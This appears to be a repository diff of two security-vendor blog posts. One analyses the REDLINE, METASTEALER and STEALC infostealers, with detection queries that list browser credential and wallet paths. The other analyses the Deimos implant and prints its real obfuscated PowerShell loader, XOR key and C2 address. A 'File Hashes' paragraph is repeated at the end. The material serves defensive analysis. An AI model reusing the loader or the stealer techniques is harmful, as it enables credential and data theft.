- Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries
|
||||
- Procures VPN login credentials for unauthorized access
|
||||
- Logs user credentials and chat histories from platforms like Discord and Telegram
|
||||
- Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:
|
||||
|
||||

|
||||
|
||||
REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:
|
||||
|
||||

|
||||
|
||||
Its configuration is structured within a static class, containing four public fields: ```IP```, ```ID```, ```Message```, and an XOR Key. The ```IP``` and ```ID``` fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:
|
||||
|
||||

|
||||
|
||||
### METASTEALER
|
||||
|
||||
[METASTEALER](https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer) emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously [reported by CERT as Orange Polska](https://x.com/CERT_OPL/status/1767191320790024484).
|
||||
|
||||
METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.
|
||||
|
||||
This METASTEALER sample utilizes the [AGILE.NET](https://www.secureteam.net/) obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.
|
||||
|
||||

|
||||
|
||||
Looking at the code above, we can see the method `Delegate11.smethod_0` calls a `Delegate11.delegate11_0` which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.
|
||||
|
||||

|
||||
|
||||
At runtime, the malware will initialize the delegate. by calling the method `Class4.smethod_13` in the constructor of `Delegate11` class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., ```0x040002DE```), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.
|
||||
|
||||
Following this, it will generate a dynamic method for the delegate and execute it using the `smethod_0` function.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called `Strings` that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.
|
||||
|
||||
Initially, the AES parameters, such as the ```AES KEY``` and ```AES IV```, undergo decryption. In the provided example, the ```AES KEY``` and ```AES IV``` are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.
|
||||
|
||||

|
||||
|
||||
The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the **Strings.Array** list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example **String.get(6)**.
|
||||
|
||||
### STEALC
|
||||
|
||||
A recent major player in the stealer space [discovered](https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/) by Sekoia in February 2023 is the [STEALC](https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc) family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.
|
||||
|
||||
STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.
|
||||
|
||||

|
||||
|
||||
There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.
|
||||
|
||||

|
||||
|
||||
STEALC performs a sandbox/emulation test using a more obscure Windows API (`VirtualAllocExNuma`) to allocate a large amount of memory. If the API is not implemented, the process will terminate.
|
||||
|
||||

|
||||
|
||||
The malware performs another sandbox check by reading values from `GlobalMemoryStatusEx`. After a byte shift against the collected attributes of the physical memory, if the value is less than ```0x457``` the sample will terminate.
|
||||
|
||||
The malware will stop execution if the language identifier matches one of the following LangIDs:
|
||||
- Russian_Russia (```0x419```)
|
||||
- Ukrainian_Ukraine (```0x422```)
|
||||
- Belarusian_Belarus (```0x423```)
|
||||
- Kazakh_Kazakhstan (```0x43f```)
|
||||
- Uzbek_Latin__Uzbekistan (```0x443```)
|
||||
|
||||
STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in [LOBSHOT](https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware). STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username ```JohnDoe``` and computer name of ```HAL9TH```.
|
||||
|
||||

|
||||
|
||||
One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.
|
||||
|
||||
#### STEALC - Execution flow
|
||||
|
||||
After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:
|
||||
|
||||
```
|
||||
f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|
|
||||
```
|
||||
|
||||
After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.
|
||||
|
||||
```
|
||||
Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|
|
||||
```
|
||||
|
||||
At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.
|
||||
- Hardware ID
|
||||
- Windows OS product info
|
||||
- Processor / RAM information
|
||||
- Username / computername
|
||||
- Local system time / time zone / locale of victim
|
||||
- Keyboard layout
|
||||
- Battery check (used to determine if laptop or not)
|
||||
- Desktop resolution, display info
|
||||
- Installed programs, running processes
|
||||
|
||||
For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:
|
||||
- Browser cookies
|
||||
- Login data
|
||||
- Web data
|
||||
- History
|
||||
- Cryptocurrency wallets
|
||||
|
||||
STEALC also offers other various configuration options including:
|
||||
- Telegram data
|
||||
- Discord
|
||||
- Tox
|
||||
- Pidgin
|
||||
- Steam
|
||||
- Outlook emails
|
||||
|
||||
| | RedLine Stealer | Meta Stealer | Stealc |
|
||||
| --- | --- | --- | --- |
|
||||
| First time seen in the wild | 2020 | 2022 | 2023 |
|
||||
| Source Language | C# | C# | C |
|
||||
| Average size (unpacked) | 253 KB | 278 KB | 107 KB |
|
||||
| String obfuscation? Algo? | Yes | Yes | Yes (custom RC4 + base64) |
|
||||
|
||||
|
||||
## Detection
|
||||
|
||||
To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) and [Windows](https://docs.elastic.co/en/integrations/windows).
|
||||
|
||||
- [Connection to WebService by an Unsigned Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml)
|
||||
- [Connection to WebService by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml)
|
||||
- [Suspicious DNS Query from Mounted Virtual Disk](https://github.com/elastic/endpoint-rules/blob/main/rules/command_and_control_execution_wevsvc_from_virtual_disk.toml)
|
||||
- [Suspicious Access to Web Browser Credential Stores](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml)
|
||||
- [Web Browser Credential Access via Unsigned Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml)
|
||||
- [Access to Browser Credentials from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml)
|
||||
- [Failed Access Attempt to Web Browser Files](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml)
|
||||
- [Web Browser Credential Access via Unusual Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml)
|
||||
|
||||
### ES|QL queries
|
||||
The following list of hunts and detection queries can be used to detect stealers activities:
|
||||
|
||||
- Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.
|
||||
``` sql
|
||||
from logs-endpoint*
|
||||
| where (process.code_signature.trusted == false or process.code_signature.exists == false)
|
||||
| where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
|
||||
"discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
|
||||
| stats executable_count = count(*) by process.executable, process.name, dns.question.name
|
||||
| sort executable_count desc
|
||||
```
|
||||
|
||||
- Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.
|
||||
|
||||
``` sql
|
||||
from logs-endpoint.events.file-*
|
||||
| where @timestamp > now() - 14 days
|
||||
| where host.os.type == "windows"
|
||||
and event.category == "file"
|
||||
and event.action == "open"
|
||||
and (
|
||||
file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
|
||||
or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
|
||||
)
|
||||
| keep process.executable, process.name, host.id, file.path, file.name
|
||||
| stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
|
||||
| where number_hosts == 1 and unique_files >= 3
|
||||
| sort number_hosts desc
|
||||
```
|
||||
|
||||
- Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.
|
||||
|
||||
``` sql
|
||||
from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
|
||||
| where @timestamp > now() - 14 days
|
||||
| where host.os.type == "windows"
|
||||
and event.category == "file"
|
||||
and event.action in ("open", "modification")
|
||||
and (
|
||||
file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
|
||||
or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
|
||||
or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
|
||||
or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
|
||||
)
|
||||
| keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
|
||||
| eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
|
||||
| eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
|
||||
| eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
|
||||
| stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
|
||||
| where number_hosts == 1
|
||||
| sort number_hosts desc
|
||||
```
|
||||
|
||||
### Yara rules
|
||||
- [Windows Trojan MetaStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar)
|
||||
- [Windows Trojan Stealc](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar)
|
||||
- [Windows Trojan RedLineStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar)
|
||||
- [Windows Trojan AgentTesla](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar)
|
||||
|
||||
|
||||
## Conclusion
|
||||
In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.
|
||||
|
||||
Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.
|
|
@ -0,0 +1,448 @@
|
|||
---
|
||||
title: "Going Coast to Coast - Climbing the Pyramid with the Deimos Implant"
|
||||
slug: "going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
|
||||
date: "2022-06-08"
|
||||
description: "The Deimos implant was first reported in 2020 and has been in active development; employing advanced analysis countermeasures to frustrate analysis. This post details the campaign TTPs through the malware indicators."
|
||||
author:
|
||||
- slug: andrew-pease
|
||||
- slug: daniel-stepanic
|
||||
- slug: derek-ditch
|
||||
image: "blog-security-radar-720x420.png"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
---
|
||||
|
||||
> - A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns
|
||||
> - The malware employs multiple layers of complex obfuscation and encryption techniques
|
||||
> - The malware has incorporated convincing lure files and digitally signed installation executables
|
||||
> - The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments
|
||||
> - A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure
|
||||
|
||||
The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.
|
||||
|
||||
These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.
|
||||
|
||||
This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.
|
||||
|
||||
## Overview
|
||||
|
||||
The Elastic Intelligence & Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the [Jupyter Infostealer](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1) malware (tracked elsewhere as [Yellow Cockatoo](https://redcanary.com/blog/yellow-cockatoo), and [SolarMarker](https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis)). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.
|
||||
|
||||
The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.
|
||||
|
||||
The analysis will leverage David Bianco's [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.
|
||||
|
||||
## Details
|
||||
|
||||
On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [[1](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)] [[2](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)] [[3](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[4](https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[5](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.
|
||||
|
||||
_Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality._
|
||||
|
||||
During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.
|
||||
|
||||
```
|
||||
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\}\}\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"
|
||||
```
|
||||
|
||||
_Figure 1: PowerShell executed by malware installer_
|
||||
|
||||
The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.
|
||||
|
||||
```
|
||||
FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
|
||||
```
|
||||
|
||||
_Figure 2: Base64 encoded file read and then deleted_
|
||||
|
||||
Additionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.
|
||||
|
||||
To do this, we leveraged the [FileDelete](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-23-filedelete-file-delete-archived) event configuration for Sysmon. By default, this creates a directory in the "C:\Sysmon" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used [PSExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.
|
||||
|
||||
As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools [base64](https://linux.die.net/man/1/base64) and [xortool](https://github.com/hellman/xortool), we're able to decode and decrypt the file:
|
||||
|
||||
- base64
|
||||
- -D - use the base64 program to decode
|
||||
- -i - the input file to be decoded
|
||||
- -o - the output file to save the decoded content
|
||||
- xortool-xor
|
||||
- -r - the XOR cipher key
|
||||
- -f - the file that is XOR encrypted
|
||||
- \\> - output the decrypted file
|
||||
|
||||
```
|
||||
base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
|
||||
-o 650326ac2b1100c4508b8a700b658ad7.decoded
|
||||
|
||||
xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
|
||||
-f 650326ac2b1100c4508b8a700b658ad7.decoded \
|
||||
\> 650326ac2b1100c4508b8a700b658ad7.xor
|
||||
```
|
||||
|
||||
_Figure 3: Decrypting the XOR'd Base64 encoded file_
|
||||
|
||||
This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.
|
||||
|
||||
```
|
||||
$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...
|
||||
|
||||
...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
|
||||
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
|
||||
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;
|
||||
```
|
||||
|
||||
_Figure 4: Final obfuscated file (truncated)_
|
||||
|
||||
Following the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.
|
||||
|
||||
```
|
||||
XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
|
||||
```
|
||||
|
||||
_Figure 5: XOR cipher key_
|
||||
|
||||
This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).
|
||||
|
||||
```
|
||||
adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
|
||||
```
|
||||
|
||||
_Figure 6: .NET DLL file type_
|
||||
|
||||
The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [[1](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)] [[2](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)] [[3](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[4](https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[5](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)]. The particular samples that we've observed utilize the .NET hardening tool [Dotfuscator CE 6.3.0](https://www.preemptive.com/dotfuscator/ce/docs/help/index.html) to hinder malware analysis.
|
||||
|
||||
What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.
|
||||
|
||||
## Analysis
|
||||
|
||||
All indicators referenced in the analysis are located in the Indicators section.
|
||||
|
||||
### The Pyramid of Pain
|
||||
|
||||
Before we get into the analysis, let's discuss the model we used to help guide our process.
|
||||
|
||||
In 2013, security researcher David Bianco released an analytical model called the [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html). The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.
|
||||
|
||||

|
||||
|
||||
The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.
|
||||
|
||||
### File Hashes
|
||||
|
||||
Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.
|
||||
|
||||
So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.
|
||||
|
||||
### IP Addresses
|
||||
|
||||
As other researchers have noted, we observed the same IP address used in the campaign. This IP address was [first associated](https://www.virustotal.com/gui/ip-address/216.230.232.134/relations) with malicious files on August 30, 2021.
|
||||
|
||||
```
|
||||
IP 216.230.232.134
|
||||
Anycast false
|
||||
City Houston
|
||||
Region Texas
|
||||
Country United States (US)
|
||||
Location 29.7633,-95.3633
|
||||
Organization AS40156 The Optimal Link Corporation
|
||||
Postal 77052
|
||||
Timezone America/Chicago
|
||||
```
|
||||
|
||||
_Figure 8: Information on identified IP address_
|
||||
|
||||
This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.
|
||||
|
||||
While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.
|
||||
|
||||
### Artifacts
|
||||
|
||||
#### Resource Development
|
||||
|
||||
The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a "Spoloènos s Ruèením Obmedzeným" (S.R.O.). An [S.R.O.](https://www.offshorecompany.com/company/slovakia-s-r-o/) is a business designation for Slovakian businesses owned by a foreign entity.
|
||||
|
||||
The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).
|
||||
|
||||
## File Hashes
|
||||
|
||||
Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.
|
||||
|
||||
